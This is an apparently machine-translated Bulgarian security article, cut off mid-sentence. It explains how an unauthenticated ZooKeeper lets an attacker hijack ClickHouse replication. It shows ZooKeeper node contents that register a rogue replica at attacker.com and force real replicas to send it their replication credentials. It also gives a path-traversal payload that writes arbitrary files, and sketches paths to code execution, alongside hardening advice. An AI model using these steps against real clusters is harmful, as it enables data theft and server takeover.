Π—Π°Ρ‰ΠΎ трябва Π΄Π° Π΄ΡŠΡ€ΠΆΠΈΡ‚Π΅ ΠΊΠ»Π΅Ρ‚ΠΊΠΈΡ‚Π΅ Π² Π·ΠΎΠΎΠΏΠ°Ρ€ΠΊΠ° Π·Π°Ρ‚Π²ΠΎΡ€Π΅Π½ΠΈ?

Π—Π°Ρ‰ΠΎ трябва Π΄Π° Π΄ΡŠΡ€ΠΆΠΈΡ‚Π΅ ΠΊΠ»Π΅Ρ‚ΠΊΠΈΡ‚Π΅ Π² Π·ΠΎΠΎΠΏΠ°Ρ€ΠΊΠ° Π·Π°Ρ‚Π²ΠΎΡ€Π΅Π½ΠΈ?

Π’Π°Π·ΠΈ статия Ρ‰Π΅ Ρ€Π°Π·ΠΊΠ°ΠΆΠ΅ историята Π½Π° Π΅Π΄Π½Π° ΠΌΠ½ΠΎΠ³ΠΎ спСцифична уязвимост Π² ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Π·Π° рСпликация Π½Π° ClickHouse ΠΈ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Ρ‰Π΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΏΠΎΠ²ΡŠΡ€Ρ…Π½ΠΎΡΡ‚Ρ‚Π° Π·Π° Π°Ρ‚Π°ΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС Ρ€Π°Π·ΡˆΠΈΡ€Π΅Π½Π°.

ClickHouse Π΅ Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ Π·Π° ΡΡŠΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ ΠΎΠ±Π΅ΠΌΠΈ Π΄Π°Π½Π½ΠΈ, ΠΊΠ°Ρ‚ΠΎ Π½Π°ΠΉ-чСсто сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ Π΅Π΄Π½Π° Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°. ΠšΠ»ΡŠΡΡ‚Π΅Ρ€ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ ΠΈ рСпликацията Π² ClickHouse са ΠΈΠ·Π³Ρ€Π°Π΄Π΅Π½ΠΈ ΠΎΡ‚Π³ΠΎΡ€Π΅ Apache ZooKeeper (ZK) ΠΈ изискват ΠΏΡ€Π°Π²Π° Π·Π° запис.

ZK инсталацията ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ Π½Π΅ изисква удостовСряванС, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ хиляди ZK ΡΡŠΡ€Π²ΡŠΡ€ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π΅ Π½Π° Kafka, Hadoop, ClickHouse, са ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ Π΄ΠΎΡΡ‚ΡŠΠΏΠ½ΠΈ.

Π—Π° Π΄Π° Π½Π°ΠΌΠ°Π»ΠΈΡ‚Π΅ ΠΏΠΎΠ²ΡŠΡ€Ρ…Π½ΠΎΡΡ‚Ρ‚Π° си Π·Π° Π°Ρ‚Π°ΠΊΠ°, Π²ΠΈΠ½Π°Π³ΠΈ трябва Π΄Π° ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Ρ‚Π΅ удостовСряванС ΠΈ оторизация, ΠΊΠΎΠ³Π°Ρ‚ΠΎ инсталиратС ZooKeeper

Π Π°Π·Π±ΠΈΡ€Π° сС, ΠΈΠΌΠ° някои Π±Π°Π·ΠΈΡ€Π°Π½ΠΈ Π½Π° 0 Π΄Π½ΠΈ дСсСриализации Π½Π° Java, Π½ΠΎ си прСдставСтС, Ρ‡Π΅ Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ‡Π΅Ρ‚Π΅ ΠΈ пишС Π² ZooKeeper, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° рСпликация Π½Π° ClickHouse.

ΠšΠΎΠ³Π°Ρ‚ΠΎ Π΅ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ Π² ΠΊΠ»ΡŠΡΡ‚Π΅Ρ€Π΅Π½ Ρ€Π΅ΠΆΠΈΠΌ, ClickHouse ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° Ρ€Π°Π·ΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ заявки DDL, ΠΏΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Ρ‰ΠΈ ΠΏΡ€Π΅Π· Π—Πš - Π·Π° тях сС ΡΡŠΠ·Π΄Π°Π²Π°Ρ‚ възли Π² листа /clickhouse/task_queue/ddl.

НапримСр ΡΡŠΠ·Π΄Π°Π²Π°Ρ‚Π΅ възСл /clickhouse/task_queue/ddl/query-0001 със ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ΠΈ слСд Ρ‚ΠΎΠ²Π° тСстовата Ρ‚Π°Π±Π»ΠΈΡ†Π° Ρ‰Π΅ бъдС ΠΈΠ·Ρ‚Ρ€ΠΈΡ‚Π° Π½Π° ΠΊΠ»ΡŠΡΡ‚Π΅Ρ€Π½ΠΈΡ‚Π΅ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ host1 ΠΈ host2. DDL ΡΡŠΡ‰ΠΎ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° изпълнСниС Π½Π° CREATE/ALTER/DROP заявки.

Π—Π²ΡƒΡ‡ΠΈ ΡΡ‚Ρ€Π°ΡˆΠ½ΠΎ? Но ΠΎΡ‚ΠΊΡŠΠ΄Π΅ Π΅Π΄ΠΈΠ½ Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π» ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ ΡΡŠΡ€Π²ΡŠΡ€Π½ΠΈ адрСси?

РСпликация Π½Π° ClickHouse Ρ€Π°Π±ΠΎΡ‚ΠΈ Π½Π° Π½ΠΈΠ²ΠΎ ΠΎΡ‚Π΄Π΅Π»Π½ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†ΠΈ, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ ΠΊΠΎΠ³Π°Ρ‚ΠΎ сС създава Ρ‚Π°Π±Π»ΠΈΡ†Π° Π² ZK, сС посочва ΡΡŠΡ€Π²ΡŠΡ€, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ отговаря Π·Π° ΠΎΠ±ΠΌΠ΅Π½Π° Π½Π° ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½ΠΈ с Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ. НапримСр, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚Π΅ заявка (ZK трябва Π΄Π° бъдС ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½, chXX - ΠΈΠΌΠ΅ Π½Π° Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ‚Π°, foobar - ΠΈΠΌΠ΅ Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Π°):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

Ρ‰Π΅ Π±ΡŠΠ΄Π°Ρ‚ създадСни възли ΠΊΠΎΠ»ΠΎΠ½ΠΈ ΠΈ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½ΠΈ.

ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Π’ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈ Π΅ обСдиняванС Π½Π° Π΄Π°Π½Π½ΠΈ ΠΎΡ‚ Ρ‚ΠΎΠ·ΠΈ ΠΊΠ»ΡŠΡΡ‚Π΅Ρ€? Π”Π°, Π°ΠΊΠΎ ΠΏΠΎΡ€Ρ‚ΡŠΡ‚ Π·Π° рСпликация (TCP/9009) Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π° chXX-address Π·Π°Ρ‰ΠΈΡ‚Π½Π°Ρ‚Π° стСна няма Π΄Π° бъдС Π·Π°Ρ‚Π²ΠΎΡ€Π΅Π½Π° ΠΈ удостовСряванСто Π·Π° рСпликация няма Π΄Π° бъдС ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ΠΎ. Как Π΄Π° заобиколя удостовСряванСто?

НападатСлят ΠΌΠΎΠΆΠ΅ Π΄Π° създадС Π½ΠΎΠ²Π° Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ° Π² ZK, ΠΊΠ°Ρ‚ΠΎ просто ΠΊΠΎΠΏΠΈΡ€Π° ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ ΠΎΡ‚ /clickhouse/tables/01-01/foobar/replicas/chXX ΠΈ промяна Π½Π° смисъла host.

ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° трябва Π΄Π° ΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ‚Π΅ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ, Ρ‡Π΅ ΠΈΠΌΠ° Π½ΠΎΠ² Π±Π»ΠΎΠΊ ΠΎΡ‚ Π΄Π°Π½Π½ΠΈ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° атакуващия, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‚Π΅ трябва Π΄Π° Π²Π·Π΅ΠΌΠ°Ρ‚ - създава сС възСл Π² ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ΠΌΠΎΠ½ΠΎΡ‚ΠΎΠ½Π½ΠΎ нарастващ брояч, ΠΊΠΎΠΉΡ‚ΠΎ трябва Π΄Π° Π΅ ΠΏΠΎ-голям ΠΎΡ‚ послСдния Π² Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° Π½Π° ΡΡŠΠ±ΠΈΡ‚ΠΈΡΡ‚Π°):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ_Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ° β€” ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ‚Π° Π½Π° нападатСля, създадСна Π² ΠΏΡ€Π΅Π΄ΠΈΡˆΠ½Π°Ρ‚Π° ΡΡ‚ΡŠΠΏΠΊΠ°, block_id β€” ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π½Π° Π±Π»ΠΎΠΊ Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌ - ΠΊΠΎΠΌΠ°Π½Π΄Π° "get block" (ΠΈ Ρ‚ΡƒΠΊ ΠΈΠΌΠ° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ).

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° всяка Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ° Ρ‡Π΅Ρ‚Π΅ Π½ΠΎΠ²ΠΎ ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ Π² Π΄Π½Π΅Π²Π½ΠΈΠΊΠ° ΠΈ ΠΎΡ‚ΠΈΠ²Π° Π½Π° ΡΡŠΡ€Π²ΡŠΡ€, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€Π°Π½ ΠΎΡ‚ атакуващия, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ Π±Π»ΠΎΠΊ ΠΎΡ‚ Π΄Π°Π½Π½ΠΈ (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΡŠΡ‚ Π·Π° рСпликация Π΅ Π΄Π²ΠΎΠΈΡ‡Π΅Π½, Ρ€Π°Π±ΠΎΡ‚ΠΈ Π²ΡŠΡ€Ρ…Ρƒ HTTP). ΡΡŠΡ€Π²ΡŠΡ€ attacker.com Ρ‰Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π° заявки:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ XXX са Π΄Π°Π½Π½ΠΈΡ‚Π΅ Π·Π° удостовСряванС Π·Π° рСпликация. Π’ някои случаи Ρ‚ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° Π΅ Π°ΠΊΠ°ΡƒΠ½Ρ‚ с Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Π±Π°Π·Π°Ρ‚Π° Π΄Π°Π½Π½ΠΈ Ρ‡Ρ€Π΅Π· основния ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ClickHouse ΠΈ HTTP ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°. ΠšΠ°ΠΊΡ‚ΠΎ видяхтС, ΠΏΠΎΠ²ΡŠΡ€Ρ…Π½ΠΎΡΡ‚Ρ‚Π° Π·Π° Π°Ρ‚Π°ΠΊΠ° става ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΎ голяма, Π·Π°Ρ‰ΠΎΡ‚ΠΎ ZooKeeper, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° рСпликация, Π΅ оставСн Π±Π΅Π· ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ΠΎ удостовСряванС.

НСка Π΄Π° Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ функцията Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° Π±Π»ΠΎΠΊ Π΄Π°Π½Π½ΠΈ ΠΎΡ‚ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°, написано Π΅ с пълна увСрСност, Ρ‡Π΅ всички Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ са ΠΏΠΎΠ΄ подходящ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» ΠΈ ΠΈΠΌΠ° Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ тях.

Π—Π°Ρ‰ΠΎ трябва Π΄Π° Π΄ΡŠΡ€ΠΆΠΈΡ‚Π΅ ΠΊΠ»Π΅Ρ‚ΠΊΠΈΡ‚Π΅ Π² Π·ΠΎΠΎΠΏΠ°Ρ€ΠΊΠ° Π·Π°Ρ‚Π²ΠΎΡ€Π΅Π½ΠΈ?
ΠΊΠΎΠ΄ Π·Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° рСпликация

Ѐункцията Ρ‡Π΅Ρ‚Π΅ списък с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, слСд Ρ‚ΠΎΠ²Π° Ρ‚Π΅Ρ…Π½ΠΈΡ‚Π΅ ΠΈΠΌΠ΅Π½Π°, Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΈ, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ ΠΈ слСд Ρ‚ΠΎΠ²Π° Π³ΠΈ записва във Ρ„Π°ΠΉΠ»ΠΎΠ²Π°Ρ‚Π° систСма. Π‘Ρ‚Ρ€ΡƒΠ²Π° си Π΄Π° сС опишС ΠΎΡ‚Π΄Π΅Π»Π½ΠΎ ΠΊΠ°ΠΊ сС ΡΡŠΡ…Ρ€Π°Π½ΡΠ²Π°Ρ‚ Π΄Π°Π½Π½ΠΈΡ‚Π΅ във Ρ„Π°ΠΉΠ»ΠΎΠ²Π°Ρ‚Π° систСма.

Има няколко ΠΏΠΎΠ΄Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π² /var/lib/clickhouse (дирСктория Π·Π° ΡΡŠΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ ΠΎΡ‚ конфигурационния Ρ„Π°ΠΉΠ»):

Π·Π½Π°ΠΌΠ΅Π½Π° - дирСктория Π·Π° запис Π·Π½Π°ΠΌΠ΅Π½Π°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΏΡ€ΠΈ Π²ΡŠΠ·ΡΡ‚Π°Π½ΠΎΠ²ΡΠ²Π°Π½Π΅ слСд Π·Π°Π³ΡƒΠ±Π° Π½Π° Π΄Π°Π½Π½ΠΈ;
TMP β€” дирСктория Π·Π° ΡΡŠΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π½Π° Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅;
потрСбитСлски_Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ β€” ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² заявкитС са ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈ Π΄ΠΎ Ρ‚Π°Π·ΠΈ дирСктория (INTO OUTFILE ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ);
ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½ΠΈ β€” sql Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ с описания Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†ΠΈ;
preprocessed_configs - ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π΅Π½ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΎΡ‚ /etc/clickhouse-server;
Π΄Π°Π½Π½ΠΈ - дСйствитСлната дирСктория със самитС Π΄Π°Π½Π½ΠΈ, Π² Ρ‚ΠΎΠ·ΠΈ случай Π·Π° всяка Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ Ρ‚ΡƒΠΊ просто сС създава ΠΎΡ‚Π΄Π΅Π»Π½Π° поддирСктория (Π½Π°ΠΏΡ€. /var/lib/clickhouse/data/default).

Π—Π° всяка Ρ‚Π°Π±Π»ΠΈΡ†Π° сС създава поддирСктория Π² дирСкторията Π½Π° Π±Π°Π·Π°Ρ‚Π° Π΄Π°Π½Π½ΠΈ. Всяка ΠΊΠΎΠ»ΠΎΠ½Π° Π΅ ΠΎΡ‚Π΄Π΅Π»Π΅Π½ Ρ„Π°ΠΉΠ» Π² зависимост ΠΎΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π½Π° двигатСля. НапримСр Π·Π° маса foobarсъздадСни ΠΎΡ‚ Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π», Ρ‰Π΅ Π±ΡŠΠ΄Π°Ρ‚ създадСни слСднитС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Π Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ‚Π° ΠΎΡ‡Π°ΠΊΠ²Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ със ΡΡŠΡ‰ΠΈΡ‚Π΅ ΠΈΠΌΠ΅Π½Π°, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π° Π±Π»ΠΎΠΊ ΠΎΡ‚ Π΄Π°Π½Π½ΠΈ ΠΈ Π½Π΅ Π³ΠΈ Π²Π°Π»ΠΈΠ΄ΠΈΡ€Π° ΠΏΠΎ никакъв Π½Π°Ρ‡ΠΈΠ½.

ВниматСлният Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π» вСроятно Π²Π΅Ρ‡Π΅ Π΅ Ρ‡ΡƒΠ²Π°Π» Π·Π° опасната конкатСнация Π½Π° file_name във функция WriteBufferFromFile. Π”Π°, Ρ‚ΠΎΠ²Π° позволява Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ Π΄Π° напишС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ във всСки Ρ„Π°ΠΉΠ» Π½Π° FS с потрСбитСлски ΠΏΡ€Π°Π²Π° clickhouse. Π—Π° Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Ρ‚ΠΎΠ²Π°, Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°Ρ‚Π°, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€Π°Π½Π° ΠΎΡ‚ атакуващия, трябва Π΄Π° Π²ΡŠΡ€Π½Π΅ слСдния ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π½Π° заявката (Π·Π° ΠΏΠΎ-лСсно Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ са Π΄ΠΎΠ±Π°Π²Π΅Π½ΠΈ Π½ΠΎΠ²ΠΈ Ρ€Π΅Π΄ΠΎΠ²Π΅):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ΠΈ слСд конкатСнация ../../../../../../../../../tmp/pwned Ρ„Π°ΠΉΠ»ΡŠΡ‚ Ρ‰Π΅ бъдС записан /tmp/pwned със ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ hellofromzookeeper.

Има няколко ΠΎΠΏΡ†ΠΈΠΈ Π·Π° ΠΏΡ€Π΅Π²Ρ€ΡŠΡ‰Π°Π½Π΅ Π½Π° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚Ρ‚Π° Π·Π° писанС Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² дистанционно изпълнСниС Π½Π° ΠΊΠΎΠ΄ (RCE).

Π’ΡŠΠ½ΡˆΠ½ΠΈ Ρ€Π΅Ρ‡Π½ΠΈΡ†ΠΈ Π² RCE

Π’ ΠΏΠΎ-старитС вСрсии дирСкторията с настройкитС Π½Π° ClickHouse сС ΡΡŠΡ…Ρ€Π°Π½ΡΠ²Π°ΡˆΠ΅ с потрСбитСлски ΠΏΡ€Π°Π²Π° clickhouse ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅. Π€Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ с настройки са XML Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡ‚ΠΎ услугата Ρ‡Π΅Ρ‚Π΅ ΠΏΡ€ΠΈ стартиранС ΠΈ слСд Ρ‚ΠΎΠ²Π° ΠΊΠ΅ΡˆΠΈΡ€Π° /var/lib/clickhouse/preprocessed_configs. ΠšΠΎΠ³Π°Ρ‚ΠΎ Π½Π°ΡΡ‚ΡŠΠΏΡΡ‚ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ, Ρ‚Π΅ сС ΠΏΡ€Π΅ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚. Ако ΠΈΠΌΠ°Ρ‚Π΅ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ /etc/clickhouse-server нападатСлят ΠΌΠΎΠΆΠ΅ Π΄Π° създадС свой собствСн външСн Ρ€Π΅Ρ‡Π½ΠΈΠΊ изпълним Ρ‚ΠΈΠΏ ΠΈ слСд Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΊΠΎΠ΄. Π’Π΅ΠΊΡƒΡ‰ΠΈΡ‚Π΅ вСрсии Π½Π° ClickHouse Π½Π΅ прСдоставят ΠΏΡ€Π°Π²Π° ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅, Π½ΠΎ Π°ΠΊΠΎ ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ сС Π°ΠΊΡ‚ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€Π° постСпСнно, Ρ‚Π΅Π·ΠΈ ΠΏΡ€Π°Π²Π° ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° останат. Ако ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Ρ‚Π΅ ΠΊΠ»ΡŠΡΡ‚Π΅Ρ€ ClickHouse, ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²Π°Ρ‚Π° Π²ΡŠΡ€Ρ…Ρƒ дирСкторията с настройки, тя трябва Π΄Π° ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈ Π½Π° потрСбитСля root.

ODBC към RCE

ΠŸΡ€ΠΈ инсталиранС Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ сС създава ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π» clickhouse, Π½ΠΎ Π½Π°Ρ‡Π°Π»Π½Π°Ρ‚Π° ΠΌΡƒ дирСктория Π½Π΅ Π΅ създадСна /nonexistent. Π’ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‚ΠΎΠ²Π°, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ външни Ρ€Π΅Ρ‡Π½ΠΈΡ†ΠΈ ΠΈΠ»ΠΈ ΠΏΠΎ Π΄Ρ€ΡƒΠ³ΠΈ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΈ, администраторитС ΡΡŠΠ·Π΄Π°Π²Π°Ρ‚ дирСктория /nonexistent ΠΈ Π΄Π°Π²Π°Ρ‚ Π½Π° потрСбитСля clickhouse Π΄ΠΎΡΡ‚ΡŠΠΏ Π·Π° писанС Π² Π½Π΅Π³ΠΎ (SSZB! ΠΏΡ€ΠΈΠ±Π». ΠΏΡ€Π΅Π²ΠΎΠ΄Π°Ρ‡).

ClickHouse ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° ODBC ΠΈ ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΡΠ²ΡŠΡ€Π·Π²Π° с Π΄Ρ€ΡƒΠ³ΠΈ Π±Π°Π·ΠΈ Π΄Π°Π½Π½ΠΈ. Π’ ODBC ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° посочитС ΠΏΡŠΡ‚Ρ Π΄ΠΎ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° Π½Π° Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Π° Π½Π° Π±Π°Π·Π°Ρ‚Π° Π΄Π°Π½Π½ΠΈ (.so). По-старитС вСрсии Π½Π° ClickHouse Π²ΠΈ позволяваха Π΄Π° ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Ρ‚ΠΎΠ²Π° Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ Π² ΠΌΠ°Π½ΠΈΠΏΡƒΠ»Π°Ρ‚ΠΎΡ€Π° Π½Π° заявки, Π½ΠΎ сСга Π΅ Π΄ΠΎΠ±Π°Π²Π΅Π½Π° ΠΏΠΎ-стриктна ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° 